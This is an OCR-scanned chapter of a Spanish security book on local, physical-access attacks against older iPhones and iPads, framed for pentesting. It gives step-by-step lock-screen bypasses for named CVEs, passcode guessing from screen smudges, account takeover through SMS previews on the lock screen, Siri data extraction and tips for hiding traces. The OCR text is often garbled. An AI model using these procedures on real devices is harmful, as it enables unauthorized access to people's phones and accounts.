Capitulo 1. Ataques locales (iPhone Local Tricks)

El estudio se hizo en la Universidad de Carolina del Norte en Chapel Hil, y se puede ver un video de la
demostracién en la siguientc URL: hrmp:/dwww seguridadApple.com/2011/11/iSpy-reconstruyendo-
lo-tecleado-en-un. html

Reconocimiento de la complejidad del passcode

Los terminales iPhone, dependiendo del tipo de passcode que se haya configurado van a maostrar
un teclado totalmente distinto, asf que si prestando atencion a la pantalla sc sabré si merece la pena
mtentar averiguarlo o no. Lo mas habitual es que el passcode tenga cuatro digitos numéricos, y si
sto es asi se podrd ver un leclado solo de niimeros en el que hay cuatro casillas totalmente separadas.

Sin embargo, si sc ha configurado un passeode complejo, en el que el niimero ticne mas de 4 cifras.
entonces las cajas se convertirdn en una sola de entrada de dalos sin delimiracion alguna entre cada
una de las posiciones. Por ultimo, ¢l escenario mas complejo mostrara un teclado alfanumérico.
Adivinar el passcode en este caso suele ser muy dificil, asi que en tal caso ¢l atacante puede optar
por pensar en ofras estrategias de ataque.

o = Y O A

Enter Passcode | Enter Passcade | Enter Passcode

* ODEREDDORR
LA ~]sfo] Flofn]s ]
°. [+ BBEDE0A =

Imagen 02 L1: Diferentes teelados en funeidn de la complejidad del passeode.

A pesar de que tenga passcode el terminal, muchos usuarios por comodidad optan por dejar una
configuracion insegura de no bloguear con passcode hasta pasado un minuto, asi que si el duciio del
terminal acabu de dejar bloqueado el teléfono y el atacante tiene tiempo, conseguira entrar antes de
que se hloquee el dispositivo.

Saber si tiene Wi-Fi o no

Una de las cosas que se mostrard mas adelante es que es importante conocer 4 qué redes Wi-Fi se
puede conectar un iPhone. Para ello, cuanto se lenga un iPhone o iPad delante hay que procurar
fijarse si esta conectado a una red Wi-Fi o no. Esto se ve con un icono que aparece en la parte superior.
Si lo estd. entonces es mas Gtil que el atacante averigiie qué redes inaldmbricas hay operando en esa
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zona. [sto es importante para poder hacer ataques que se veran mas adelante (como ¢l del Rogue
AP), o para poder tener acceso al dispositivo por medio de OpenSSH por Wi-I'i.

Es importante apuntar las redes Wi-Fi ocultas en este proceso, para lo que sera conveniente que el
atacante “‘sniffe” durante algiin tiempo el espacio. Ademas, en caso de tener ocasion es recomendable
apagar el dispositivo y volver a encenderlo. Esto hara que ¢l terminal se conecte a la red Wi-Fi
aunque no se haya puesto ¢l passcode, lo que permitira saber exactamente qué redes busca.

Item Accessible

WVi-Fi passwords After first unlock

‘Mail accounts After first unlock
Exchange accounts After first unlock
‘YPN certificates Always, non-migratory
VPN passwords After first unlock
LDAP, CallDAY, CardDAY After first unlock
iTunes backup When unlocked, non-migratory
Voicemail Always

Safari passwords When unlocked
Bluetooth keys Always, non-migratory
Apple Push Notification Service Token Always, non-migratory
iCloud certificates and private keys Always, non-migratory
iMessage keys - Always, non-migratory
Certificates and private keys (Configurarion Profile) Always, non-migratory
SIM PIN Always, non-migratory

Imagen 02.12: Niveles de proteceion de contrasefias.

Respecto a las contrasefias de la red Wi-Fi hay que tener en cuenta que las contrasefias en iS5, debido
a Data Protection, se liberan dependiendo de su nivel de configuracion en diferentes instantes. Los
programadores pueden configurar que las contrasefias estén disponibles en estas situaciones:

- Always: La contrasefia es accesible en el momento en que el sistema operativo iOS
arranca. Es decir, basta con encender el terminal y cualquier servicio o programa corriendo
en el sistema tendra la capacidad de acceder a ellas.

- Whenunlocked: La contrasefia solo estard accesible cuando el usuario tenga desblogqueado
el terminal. En el momento en que cste se bloquea la contrasefia se elimina de la memoria y
no esta disponible para ningtin proceso o servicio.

- When locked: Estas claves solo estan disponibles cuando el terminal esta blogueado, es
decir, cuando el usuario no ha puesto el passcode.
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- After first Unlock: T.as claves se liberan la primera vez que ¢l lerminal arranca, luego se
quedan disponibles para todos los programas y no importa si el dispositivo esta bloqueado
0 1o,

v que lener en cuenla que a partir de 108 5 se cambi¢ el nivel de seguridad de las contraseias de
redes Wi-Fi, pasando de Ahways (es decir, que se liberan nada mas arrancar el dispositivo) a Afier
1 Unlock, lo que indica que solo se conectara a una red #i-Fi si el terminal ha sido desbloqueado
ma vez. Bslo serd especialmente importante a la hora de decidir si se puede apagar el dispositivo o
. 8i el terminal es un iQS 4. se puede apagar sin problemas el terminal, que volvera a conectarse
2 las redes Wi-Fi cercanas, con lo que seré posible saber qué redes busca ain sin tener el passcode.

ompartir Internet

A diferencia de las contrasefias de la conexion de datas Edge o 3G, si el usuario ha configurado el
terminal para no solicitar el PIN de la red de telefonia, esta se libera nada més arrancar el terminal,
1o que puede ser (il en escenarios en los que el sujelo Lenga activada la opeion de compartir Internet,
wva que automaticamente levantara este servicio. Sin embargo, las conexiones solo se podrian hacer
por los medios que estén establecidos en el servicio, ¥ que podrian ser USB, Bluetooth o Wi-Fi. En
el caso de Wi-Fi va se ha visto que en i85 5 0 i85 6, solo sc conseguiria coneclividad si se dispone
del passcode, mientras que en USB o Blueteoth solo seria posible hacerlo desde un dispositivo con
¢l que se haya realizado la asociacion previamente, es decir, desde el ordenador de la victima.

La limitacion cg alla, pero cn un caso cn el que el passcode sea complejo y sea posible lograr
conectividad se podria hacer un Jailbreak. instalar un servidor OpenSSH v conectarse al terminal
para poder sacar la informacion alli contenida con procesos forenses, lo que mmplicaria “requisar el
terminal”. Por ahora solo hay que fijarse en que tenga activados estos servicios, que se pueden ver
con los iconos que aparecen en la parte superior de la pantalla de bloqueo.

- Simbolo de Bluetooth si estd activado el Bluetooth.
- Simbolo de intensidad de sefal si estd activada la red Wi-Fi.

- Barraazul, si esta activado el servicio de comparticidn de Internet y alguien estd conectado

a él.

El passcode en la grasa de la superficie

Si se confirma que el terminal tiene un passcode de cuatro digitos numéricos, tal ver se pueda
adivinar, y ahi, cuanto menos aseado sea el objetivo mucho mejor. Esto es porque al usarse el dedo
para teclear cl codigo de deshloqueo, se estd produciendo un conlacto entre la grasa corporal v la
pantalla del iPhone.

Lo ideal es llevar un equipo forense protfesional para analizar la grasa de la pantalla, pero si esto
no es posible, el tener una fotografia de calidad permitiria hacer un analisis de las claves con mas
probabilidades de ser usadas en el terminal.
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En la siguiente imagen, si se superpone un teclado grosso modo sobre ella, se puede apreciar que en
la zona de teelado hay un sito muy marcado, lo gque parcee mdicar que en dicha zona se ha pulsado
mds de una vez. El resto de los sitios en la zona del teclado parecen mas o menos con la misma

| probabilidad. Dependiendo de las opciones de configuracion del terminal se podran probar varias
combinaciones de ndmeros para ver si hay suerte v se consigue desbloguear.

ek . st

Imagen 02,13: Superficie de la pantulla de iProne con manchas de dedos.

Borrado de datos con niimero de passcodes erréneos

Para evitar ¢l nimero de intentos maximos, los usuarios pueden establecer un mecanismo de
seguridad que hace que al fallar 10 veces, los datos del equipo sean borrados. No es ficil realizar
esto, ya que a partir del quinto intento el terminal empezara a bloquearse temporalmente. lo que
impide un ritmo de introduccion rapido de codigos Tallidos.

No obstante, con tiempo suficiente. es posible forzar el borrado de los datos de un terminal, y obligar
a la persona duefia del equipo a realizar un proceso de restauracion desde el backup.

ceneral Bloguea con codigo

Borrar datos

Imagen 02.1<: Borrado de datos was nimero de intentos errénecs desactivado.

Hay que Lener esto en cuenta cuando se quiera averiguar el cadigo. ya que si se alcanza el nimero
méximo de intentos puede que se borren los datos, y se pierda toda la informacion.
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Previsualizacion de mensajecs por pantalla

& primera de las opeiones inseguras por defecto que tienen los terminales /OS es la de mostrar las
evisualizaciones de los mensajes por pantalla. Esto es algo que hace mas comodo para ¢l usuario la
sctura de un SMS, un Whatsapp, una alerta de reunion o un mensaje de correo electronico. pero que
jipone un riesgo para la privacidad de la persona. Para cualquier persona le bastara con observar la
pantalla y acceder al contenido que alli se muestre, sin necesidad de desblogucar ¢l terminal.

T supuesto esto atenta contra la privacidad del usuario, y para evitar esto, version a versidn de
. se ha ido creando un sisterna mucho mas granular de configuracién, que permite al duefio del
inal clegir hasta tres sitios diferentes para recibir las alertas y previsualizaciones de los mensajes
cada una de las aplicaciones, lo que hace que al final siempre queden algunos por pantalla, Lsto
s asi porque se debe ir, una a una ¢n cada aplicacion, configurando una previsualizacion o no de los
mensyjes que se van a recibir, lo que es un trabajo tedioso.

GAGiOnes Mensajes

Previsualizacion

Imagen 02.15: Configuracién de opciones de previsualizacior en mensajes SMS e i Message.

Si esta es la configuracion que tienc la victima, cl alacante puede usar uno de los trucos mas sencillos
para robarle cualquicr cucnta de servicio que tenga asociado el nimero de teléfono para recuperar la
contrasefia, y la mas evidente de todas estas es la cuenta de Ginail.

Al dirigirse a las opciones de recupcracion de contrasefia de Gmail v salicitar la opcién de “He
olvidado mi contrasciia”, una de las opciones que muestra es la de enviar un mensaje SMS al nimero
de teléfono asociado a la cuenta. 8i la cuenta esta asociada al terminal iPhone del objetivo, bastara
con solicitar esa opcion, es necesario por lanto conocer el nimero de teléfono del abjetivo.

Una vez solicitado, ¢l alacante solo deberd esperar a que llegue el SMS con el codigo. En el caso de
los correos electronicos de Gmail. aparece el nimero de verificacion que serd necesatio para robar
la contrasefia de un usuario, y apoderarse asi de la cuenta.
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Ayuda con las contrasefias para aramosf@gmail.com

Recibir un cédigo de verificacidn (a fravés de un SMS) en mi teléfono: *»===11

Introducir nimero de teléfono compl Sugerencia: s+ 11

Imagen 02.16: Solicitud de recuperacion de contrasefia por SMS en Ginail.

Este ataque no solo se puede hacer a Gmail. sino a cualquier sistema de recuperacion de contrasefias
que se haga por SMS, si el usuario liene activada la previsualizacién de los mensajes. Lsto también es
trasladable a los sistemas de recuperacién por correo electrénico, aunque suele ser mas complicado
que la informacion necesaria para recuperar la cuenta entre en la previsualizacién que ofrece el
sistema operativo iOS.

Como se puede ver, en el caso de Hotmail llega en dos mensajes. pero sc puede ver perfectamente
¢l codigo en el segundo de ellos, con lo cual es uno de los servicios que pueden ser atacables con
esta técnica de previsualizacion SMS. Sin embargo, en el caso de que estén configuradas solo las
opciones de recuperacién por medio de un mensaje de correo clectronico enviado a una cuenta
asociada, esta estrategia no es vilida ni para Google ni para fHotmail, ya que el mensaje es mucho
mas largo y no se pucde ver la URL que hay que utilizar en la previsualizacion.

3100000

Imagen 02.17: Previsualizacidn de mensajes de recuperacién de cuenta por e-mail y por SMS de Hotmail,
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En cualquier caso. antes de realizar este ataque se deben conocer cugles son las cuentas que interesa
robar, el numero de teléfono. y crear una malriz de conocimiento que permita elegir el mejor ataque
para cada uno de los casos.

Servicio | Recuperaciéon por SMS Recuperacion por email
—Gmaii Si No

Hotmail Si No

Empresa i? bid

Tubla 02.03: Recuperacion de menszjes por pantalla.

Con esta informacion, el atacante se ahorrara hacer pruebas innccesarias con el rerminal al que esta
atacando, ya que al (inal no va a poder borrar el mensaje y puede que el duefio del terminal objcto
del alaque sospeche y cambie la password antes de que el atacante pucda usar el cédigo. Fs por eso
gue este ataque tal vez sea convenientc hacerlo de forma coordinada y mandar la informacion a un
compaiiero que en ticmpo real cambie la password desde una ubicacion base.

4. Desbloqueo de la pantalla de inicio sin conocer el
passcode por medio de bugs

Aunque pueda parecer imposible, dependiendo de la version de OS que tenga instalado el objetivo,
es posible desbloquear 1a pantalla de peticion del passcode para acceder a determinadas partes del
sistema operativo. Listo es debido a fallos de seguridad ¢n ¢l codigo de bloqueo del terminal que
Apple intenta parchear en la siguicnte versian, pero si el usuario no tiene actualizado el sistema
operativo a la Gliima versién, entonces es posible acceder a esa informacion. A continuacion se
muestran casos conocidos de las tltimas versiones de ;0S.

CVE-2012-0644: El desbloqueo por la SIM hasta i0S 5.0.1

En los terminales ihone con versiones desde /OS 3.0 hasta iOS 5.0.7, (independientemente del
modelo de iPhone), es posible desbloquear el dispositivo mediante un sencillo truco con la SIM del
mismo. Indicar que este fallo no permite acceder completamente al terminal v que solo deja acceder
a la aplicacion de llamar, desde la que se pueden acceder a los contactos que tenga el usuario.

£l fallo radica en el gesto de “desplazar para llamar”™ y ¢l proceso es bastante sencillo, lo que permite
que en muy poco ticmpo se puedan realizar los 3 o 4 intentos necesarios para conseguir desbloguear
el iPhone. 1.0 primero que hay que hacer es generar una llamada perdida, asi que el atacante debe
conocer el numero de teléfono del objetive. Sc le realiza la llamada perdida, v aparecera en la
pantalla de desbloqueo. Cuando esté alli, se debe sacar la SIM, con lo que aparecerd una alerta de
SIM no encontrada, tal y como se puede ver en la imagen siguicnie.
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Imagen 02.18: Alerta de No SIM.

A partir de ese momento se debe introducir otra vez la SIM al tiempo que se intenta contestar a la
llamada perdida, desplazando hacia la derecha el aviso de la llamada perdida. No siempre sale a la
primera, pero lras unos pocos intentos se podra acceder a la aplicacion dc llamadas desde la que
se podra, entre otras opciones, consultar el historial de llamadas, la lista de contactos, (con toda la
informacion que haya de ellos), ¢ incluso realizar llamadas.

Una vez que se consiga el acceso, tiene la ventaja de que permite borrar del historial 1a llamada
perdida usada para desbloquear el terminal, con lo que el objetivo no puede averiguar que ha sido
victima de un acceso no autorizado a su lista de contactos.

Para este ataque es conveniente que el atacante lleve encima una Ilave de SIM o que tenga siempre
a mano un clip con el que pueda manipular aperturas de SIM. Estc fallo estd solucionado en iOS
3.1y se puede ver un ejemplo de como funciona todo el proceso en la siguiente URL: Attp://www:

seguridadApple.com/2012/02/nuevo-bug-en-iPhone-ios-301-permite. html "
v

CVE-2011-3440: El desbloqueo de la Smart Cover en iPad 2 con
iOS 5
Este bug dio la vuelta al mundo y obligd a Apple a sacar iOS 5.0.1 con mucha prisa, ya que el fallo

era y es muy facil de explotar. No es un bug de iPhone, pero parece imposible no contarlo en este
capitulo teniendo en cuenta que permite acceder absolutamente a todo el sistema operativo.
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a explotarlo basta con pulsar el bot6n para apagar el iPad 2 hasta que salga la pantalla de apagado
la que hay que desplazar una flecha hacia la derecha para confirmar que se desea apagar ¢l iPad 2,
ese momento, sin desplazar l1a flecha ni cancelar el proceso de apagado, se cierra la Smart Cover
se vuelve a abrir.

Imagen 02.19: Confirmacién de apagado.

Una vez abicrta se seguird mostrando la pantalla de confirmacién de apagado, donde seré suficiente
con dar al bot6n de cancelar el proceso de apagado para acceder a todo el sistema operativo del iPad.
Un proceso que dura menos de 10 segundos y que deja todo el iPad a merced de cualquier atacante, Se
puede ver un video de esta demostracion en: hiipsiwaviiseguridadApple. com/2011/10/5 -segundos-1|
sara-saltarte-la-contrasena himl 4 ;

CVE-2010-4012: El desbloqueo por llamada de emergencia en iOS
4.0y4.1

Este bug fue solucionado por Apple en iOS 4.2, pero los terminales iPhone con la version 4.1
cuentan con un bug que le permite a cualquier atacante acceder a la aplicacién de contactos con un
proceso extremadamente sencillo. Solo es necesario marcar un namero de teléfono desde el teclado
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de llamadas de emergencia y pulsar el botdn de apagado para que el sistema operativo muestre
la aplicacién de llamadas. desde donde se puede acceder al historial de las mismas, a la lista de
contactos y realizar las llamadas que se consideren oportunas. '

La llamada de emergencia aparccera en el historial de llamadas, por lo que se debe borrar del lmsmo
una vez que se acceda a la lista de contactos si se quiere evitar dejar algun rastro inneces ]
dispositivo. Se puede ver un video con este ejemplo en la siguiente UR

El bug con Activator y un iPhone iOS 4.3.3 con Jailbreak

Solo por terminar de explicar los desbloqueos conocidos hay que hablar del bug que tuvo Activator,
una popular aplicacion para terminales con Jailbreak, que en la version que se distribuyo con iPhone
4.3.3 permitia acceder al sistema operativo solo con pulsar dos veces el botén de accion desde la
pantalla de bloqueo. Esto es asi dehido a que Activator permite asignar acciones a cualquier gesto
del terminal con la pantalla bloqueada, entre ellas la llamada a la cdmara de fotos. Si se ha asignado
cualquier combinacion a la camara se salta la proteccion de la pantalla de peticion de codigo.

Deslizar derecha
Deliza a la derecha en la barra estada

Deslizar izquierda
Deliza a |a lzquierda en la barra estado

| Doble toque derecha
Dable toque en la parte derecha de la...

Doble toque izquierda
Lable toque en la parte izquierda de...
Presion corta

I Mantén presicnada la barra de estado
Presionar derecha
Toca y mantén en la parte derecha de...

linagen 02.20: Opeiones de Acifvator en la pantalla de blogqueo.

Hay que decir que esta version (la 4.3.3), es una de las mas populares a dia de hoy entre los usuarios
'-, de la comunidad de Jailbreak, ya que [ue la tltima que se pudo actualizar con JailbreakMe 3.0, el
sitio web de Comex que liberaba el terminal con solo visualizar un documento PDF desde una web.
| Es por ello que, si el terminal es un iQS con 4.3.3 el atacante puede intentar darle dos clics al botén
| de accidn, agitar el terminal, probar a desplazar de arriba abajo y de abajo arriba, etcétera, a ver si se
abre ¢l sistema operativo ante é|, debido a que se haya configurado alguna aplicacién que se salte ¢l
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Moquco, (al y como se ha mencmnado antenormente Se puede ver un video de esta demostracidn
o Ia siguiente URL; ,.bf(g;a AW wwisegur. O o-la-pantalla-de-blogueo-en. 4

-2013-0980: Saltar cl codigo de la pantalla de blogueo en iOS
a 108 6.1.2

En la aclualizacion de 708 a la version 6.1 se afiadié un nuevo bu ¢ que permile saltarse el cédigo de
bloqueo y acceder a la aplicacion de contactos y de realizacién de llamadas. Dicho bug estd en
idos los terminales con ¢sta version de sofrware. Los pasos a realizar son los siguientes:

1. Cuando el teléfono esta bloqueado con PIN se debe ir a la pantalla de lamada de emergencias
¥ ahi pulsar el botén de apagado hasta quc salga la opcidn de confirmar el apagado o cancelar.

2. Se cancela el proceso de apagado y se vuelve a la pantalla de llamadas de emergencia. Ahf
sc podra ver ya que algo no ha ido bien pues aparece la barra de mensajes que se ve cuando el
terminal esta desbloqueado en la parte superior.

3. Hacer una llamada de cmergencia y colgar rapidamente.
Volver a bloguear el terminal pulsando una vez el botén de encendido/apagado.

5. Volver a encender la pantalla pulsando el botén de accion ¢ ir a la pantalla de introduccion
del codigo PIN.

6. Pulsar el boton de encendido/apagado durante 3 segundos.

7. Antes de que salga la pantalla de confirmar o cancelar ¢l proceso de apagado dar al botén de
Illamadas de emergencia.

Saltarse el cédigo de desbloqueo en iPhone 3GS y en iPhone 4 con
i0S 6.1.3 |
El dia despucs de que se publicara a nivel mundial la nueva version de i0S 6./.3 que habia sido

pecialmente creada para solucionar el ya conocido hug de saltarse el passcode en iOS 6.X, se
descubrio ya una nueva forma de saltarse la pantalla de bloqueo.

El fallo s¢ produce solo en los terminales que no tienen Siri, es decir, hasta iPhone 4, y no en iPhane
5 0 i’hone 3, v vuelve a producirse al generarse ¢l cvento de No SIM cuando se realiza una llamada
won el Control de voz.

‘Basta con hacer una llamada de emergencia con el servicio de llamada de voz, y cuando empiece a
ealizarse la llamada sacar la SIM. Facil y sencillo. A partir de ese momento se pueden acceder a los
contactos y a las fotografias del terminal.
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Un bug en LockDown Pro para iPhone con Jailbreak

El dltimo truco eurioso que se puede hacer en local es para un terminal con Jailbreak en el que no
hay passcede de por medio pero si un codigo de bloqueo de aplicaciones. Esto se puede hacer con
herramientas muy populares, como LockDownPro, que pudiran una clave de desblogueo cuando se
quicra acceder a cualquier aplicacion del sistema.
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Imagen 02.21: Saltandose LockDown Pro.

Sin embargo, hace tiempo se deseubrio que este blogueo de aplicaciones no funciona cuando hay
una llamada en curso, asi que basta con que se llame desde otro nimero al teléfono con Jailbreak
protegido por LockDown Pro y sin cancelar la llamada, pulsando en el boton de accion. se acceda a
todas las aplicaciones del sistema. Es un [allo peculiar y muy conereto, aunqgue de una importancia
eonsiderable.

3. Accediendo a las fotos de un iPad por las opciones
del marco de fotos

Una de las funciones mas extrafias de iPad ¢s que se pensd para poder ser un marco de fotos digital
en los hogares, por lo que. por defecto, cuando la pantalla de un iPad estd bloqueada aparece el
icono de una fotografia que mostrard las fotogratias guardadas en el carrete. En un iPad de primera
generacion, donde no hay camara de (otos, estas pueden haber sido cargadas por (Times o desde los
adjuntos del correo electrénico, pero en il’ad 2, il’ad 3 o el New new iPad, esas fotos pueden haber
sido realizadas por el dispositivo, v pueden tener informacion util.

Imagen 02.22: Acceso a lag fotos de (Padh Opeion marca de [otos.
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iy un iPad al alcance del atacante es posible que encuentre algo de informacion “jugosa™ entre
[08, ya que los usuarios suelen hacer fotos a casi “cualquier” cosa, por lo que con solo pulsar
Lo de la flor se podra acceder a las imdgenes ¥ a su informacidn,

iecediendo a las fotos de un iPhone con iOS 5.X cambiando la fecha

N bug muy curioso en la cdmara de fotos en los terminales con i0S 3 gracias a que se permite
hitjur con el equipo como si fucra una camara de fotos sin necesidad de desbloquear el terminal.
embargo, la proteccion que tiene il’hone es que se pueden hacer fotografias y acceder a aquellas
i¢ hayan realizado solo en esta sesion, es decir, las fotos del carrcle estin supuestamente a salvo.

il embargo, esta proteccion es muy pobre, ya gue solo utiliza la fecha del dispositivo. Si la foto
b hin hecho en un momento posterior a la fecha en la que se bloqued el sistema, se mostrard sin
esidad de introducir el e6digo para desbloquear el terminal. La pregunta que surge es ;c6mo se
dinbia la fecha para ver las fotos? Pues las alternativas son pocas y peculiares, pero es posible.

08 lerminales iPad 2, iPad 3 o va new rPad{que aaheron coniOS 5o bupeuor) que <olo utilizan
.. fu‘ LISET umn ‘uqudﬂI% Y i '

lie ha llevado a que los equipos adolemeran de desumronma.uun del reloj v hublera muchas quelas
“I1 este caso se podria intentar suplanlar ¢l servidor NTP en la red y darle una fecha de hace 1 afio,
(ue permitiria que se pudieran ver las fotos realizadas en el Gltimo afio.

ediante una estacion BTS [alsa, tal y comao se indica més adelante en este libro. Asi que, con un
aque coordinado se podria cambiar la fecha desde una falsa estacion de telefonia (cs posible hacer
un alaque dirigido y solo cambiar la hora de un tinico dispositivo) y la persona que tenga acceso
Jondrd ver las fotografias con sulo activar la camara,

£ estos dos casos, cs necesario que el terminal tenga la configuracion por defecto de “Confignrar
M hora antomdticamente ™.

T

Bleweral Fecha v hora

.f Ajuste automético

| Zona horatia
&

Imagen 02.23: '\_] uste aummétuo de hora e icone de acceso a la camara en la pantulla de bloqueo.

L. (ltima opcidn es un alaque con descuido o ingenierfa social, pero es necesario contar con la
tiyuda de la victima que debe ser engafiada para que ponga una fecha anterior sin saber lo que esta
haciendo realmente.
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6.Explorando la agenda usando ¢l control de voz

Apple introdujo Sird, un asistente virtual que se activa por la voz, (del que se va a hablar largo ¥
tendido un poco més adelante) en ihone 45 v estd presentc en tPhone 5. En los terminales ifhone 4
o iPhone 3GS existe la posibilidad de utilizar el Contral de voz para acceder a las opciones de hacer
llamadas de voz o por medio de FaceTime.

aeneral  Bloqueo con coédigo

=7 it S s b U W SUSEE g R

Marcacién por voz

kit 3 & |

Imagen 02.24; Deshabilitar Vaice Controf con pantally blogueada.

Este servicio es posible desactivarlo dentro de las opciones de configuracion, pero sin embargo
se descubrid que hay un bug en todas las versiones de /OS 5.X para terminales [Phorie 4 o iPhong
3GS, que permite acceder a la lisla de contactos y hacer llamadas por FaceTime con ¢l terminal
bloqueado, a pesar de que haya sida deshabilitado cste servicio. El fallo estd en el médulo cread
para realizar las llamadas de emergencia.

Para consultar la lista de contactos s¢ debe entrar en el teclado de llamadas de emergencia, dej
pulsado el botdn de accion unos segundos y se activard ¢l Control de voz. Desde él se pueden realizar
llamadas por FaceTime.

Control por voz

Varios resultados

Imazen 02.25: Llamar por FaceTime.
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Lo manera de utilizarlo es decir /'aceZime y el nombre de un contacto. Si este estd en la lista sc podra
licer la llamada. Si hay varios contactos con ¢l mismo nombre o varios niimeros o cuentas asociadas
it un mismo contacto, s¢ padra ir cligiendo entre ellos. Bn cualquier caso, no se puede acceder a la
informacian personal de ninguno de ellos, y solo sirve para saber si estd en la lista de conlactos o
pira llamar a uno de los contactos querestén-en ella por FaceTime.

Este fallo afecta a usuarios con (08 3 y a usuarios con iS5 6.x con terminales iPhone 3GS o iPhone
4, ya que en ¢llos no esta disponible el uso de Siri.

Manejando el teléfono con Siri en iOS 5 e iOS 6 con iPhone 4S o
iPhone 5

lin los terminales [Phone 45, iPhonre 5 y los iPad 3, el principal jugucle para sacar informacion de
¢l sin necesidad de tener el passcode de desbloqueo es Siri. Fste asistente personal va mucho mas
ulla que un simple reconocimiento de drdenes por voz, y esta preparado para hacer multiples tareas.
Por defecto, estd listo para hacerlas aun cuando el dispositivo estd blogucado, lo que permite sacar
mucha informacion de él.

Para activarlo basta con dejar pulsado el botén de accién y esperar que suene la misica v salga Siri
para atender al usuario. A partir de ese momento se le puede pedir que haga cosas con ¢l dispositivo.
Aqui se van a mostrar algunas de las posibilidades que se pueden obtener jugando con Siri,

Enviar mensajes y realizar llamadas a contactos: Siv tiene la capacidad de enviar correos
electronicos, mensajes SMS, iMessage y realizar llamadas de teléfono o FaceTime a cualquier
contacto de la agenda. Solo hay que pedirselo: “Enviar mensaje de correo eleetronico a X7

Inviar mensajes y realizar llamadas a nimeros de teléfeno que no estin en la agenda de
contactos: Esto es perfecto para enviar un mensaje a un contacto y generar un conflicto del que sacar
partido en un proceso de pentesting.

'ublicar en redes sociales: Con el dispositivo bloqueado, a través de Siri, es posible publicar Tiweers
0 mensajes en Facebook, “Publica un Tiweer” o “Publica un mensaje en f'acebook” es suficiente para
conseguir hacerlo.

Consulta de citas en el calendario: Se puede hacer casi cualquier pregunta, como “;Qué reuniones
tengo en Marzo en el calendario?” “;Qué reuniones tengo hoy?” *; Cudndo tengo reunion con
Chema?” Todas estas consultas se lanzan sobre la aplicacion de Calendario, y aunque no se puede
ver el detalle completo de cada entrada, si que es posible sacar informacion suficiente de ¢l.

Crear citas en el calendario; Una de las caracteristicas mds cxtrafias es la capacidad de crear
reuniones con personas de los contactos en la agenda. Basta con utilizar una orden del tipo “Crear
una reunion con X para mafiana a las 8 y Siri creard la reunion, pudiendo configurar a gusto la
agenda del objetivo.
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Imagen 02.26: Corsuliar v crear reuniones en el calendario.

Biasqueda de contactos: A diferencia del bug con Facelime donde solo se puede saber si estd el
contacto o no, y realizar una llamada por l'acedime, aqui se puede saber si estd o no en la agenda,
y acceder a toda la informacién del mismo, es decir, nombre, apellidos, nimeros de teléfono,
descripeién y direceiones de email. con lo que cs perfecio para extraer los datos sensibles que
interesen.

ant; INCrAstar Ll i moy

€6 Buscar contacto Rodol 93 JEr s e

e ~ -
Al 2 ! ce ar contacto Chema

ot 00 34 G

noten Flest Name : Rodal
Full Mame : Rodol
Phone Number Mobile
o G

Imagen 0227 Blsquedy de conlactos,




“apitulo 1. Atagues locales (iPhone Local Tricks) 45

Jentro de los contactos hay una consulta muy util: Conocer los datos del duefio del lerminal, para
o basta con preguntar “Muéstrame mi contacto”.

alizar puntos de interés gnardados en el GPS: También, con el dispositive bloqueado, es
ible buscar una ruta a un punto de interés como “Indicame como ir a casa de Raquel” o “Indicame
wmo llegar a mi casa”. Aulomélicamente sc generard una rula cn Maps que Le Hevara hasta csa
acion.

Mostrar las notas creadas: Desde Sivi, con un simple comando “Muéstrame todas las notas” se
juecde acceder a los primeros caracteres de las notas que estén creadas. Esto se puede fHirar por
echa, usando “Muéstrame las notas del 10 de Febrero™. Si se quiere ver el contenido de una nota, es
sencillo come buscar una palabra en el titulo de la nota. poniendo “Buscame la nota amigos™, y
o se puede ver en la imagen siguiente sale el contenido completo.

s posible también crear una nota y guardar cualquier informacién en ella. Ademds, si el terminal
Phone esta sincronizado con iCloud, se podran ver las notas creadas por todos los dispositivos
tilizando la misma cuenta de Apple TN, por gjemplo un Mae u otro dispositivo como iPad. Tanto
creacion como la lectura de las notas serd un proceso que se hard sobre todos los dispositivos
pnectados a la misma cuenta.

Me gasiado (2 €

| Hola amigos de Apple esper. 24 nay ]

Imagen 02.28: Consulta de notas desde Sirv. También se pueden crear notas.

Ademas de todas cstas acciones. en las versiones de /05 5.0 y 5.0.1 eon terminales i/’fone 15 es
posible acceder al mensaje seleccionado en la aplicacion Mai! haciendo uso de las opciones de
eenviar por lo que Apple luvo que solucionar este bug cn 705 3. /. Si la version es un i0S 3.0 0 i(S
3.0/ usando “Reenviar mensaje de correo electronico™ se podré ver el contenido del mismo.

que tener presente que Siri procesa la voz en los servidores de Apple. asi que es necesario que el
erminal este concetado a nternet a través de alguna conexion. 81 no es asi, entonces no funcionara
minguna de las funciones. Ademas. hay que tener en cuenta que en los servidores de Appfe quedaran
sezistrados todos los comandos de voz, aunque no es habitual que en un proceso de penfesiing
zleuien los revise.

'E-2012-3750: Acceso a los codigos de PassBook
En i0§ 6 Apple introdujo PassBook, una aplicacion para recibir las entradas digitales para cualquier
tipo de evento o especticulo. Funciona como una cartera de recepeion de entradas y por defecto esta
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habilitado con la pantalla bloqueada. En la version iQS 6.0.1 se soluciond el bug CVE-2012-3750
debido a que se comprobd que si se recibia el ticket con la pantalla bloqueada era posible acceder a
la entrada y, por ejemplo, tirarle una foto para copiarla.

7.0tras manipulaciones en local

Juice Jacking

Las (¢enicas de Juice Jacking salieron a la luz en la Defcon 19 de 2011, cuando se establecié un
puesto para recargar la bateria de los moviles que informaba de que podia robar los datos. En los
terminales iPhore, desde que se introduyjo ¢l cifrado de iPhone Data Protection, esto solo se puede
hacer cuando se conoce el codigo de desbloqueo o mediante la explotacién de un bug para hacer
un fethering o untethering Jailbreak. Este no es el objetivo de este capitulo, que serd tratado mis
adelante, asi que si ¢l terminal ticne un passeode, con las Wenieas de Juice Jacking se podra obtener
algo de informacioén, pero nada mas.

Simplemente conectando un terminal /PhAone o iPad sin desbloguear a un equipo Windows es posible
obtener el nimero de serie, y la version exacta del sistemna operativo, en la imagen siguiente se
aprecia el de un 138 5.1.7. Ademas. también se puade conocer el almacenamiento que tiene ocupado
actualmente con fotografias, videos, notas o documentos. Sin embargo, a pesar de que aparezca la
opcion de importar fotografias, esto no va a ser posible en las versiones i0S 4.X o superiores sin
desbloguesr ¢l terminal.

-

Propiedades: Apple iFhone
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Imagen 02.29: Informacidn que se obtiene de un iPhone sin desbloquear en un Windows.
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Si se desea hacer esto, es necesario tener un equipo preparado, v lo que ¢s mas importante, tener los
cables de conexion de iPhone o iPad. A partir de iPhone 5 Apple decidid cambiar el concetor, ast
que hay que disponer de un conector “clésico” y del nuevo lightning. Para ello es posible utilizar
coneelores entre ambos.

sl

2. Adaptadores

h-;'_J

i

i
i

.,.n'*"mr‘-'m! s

.
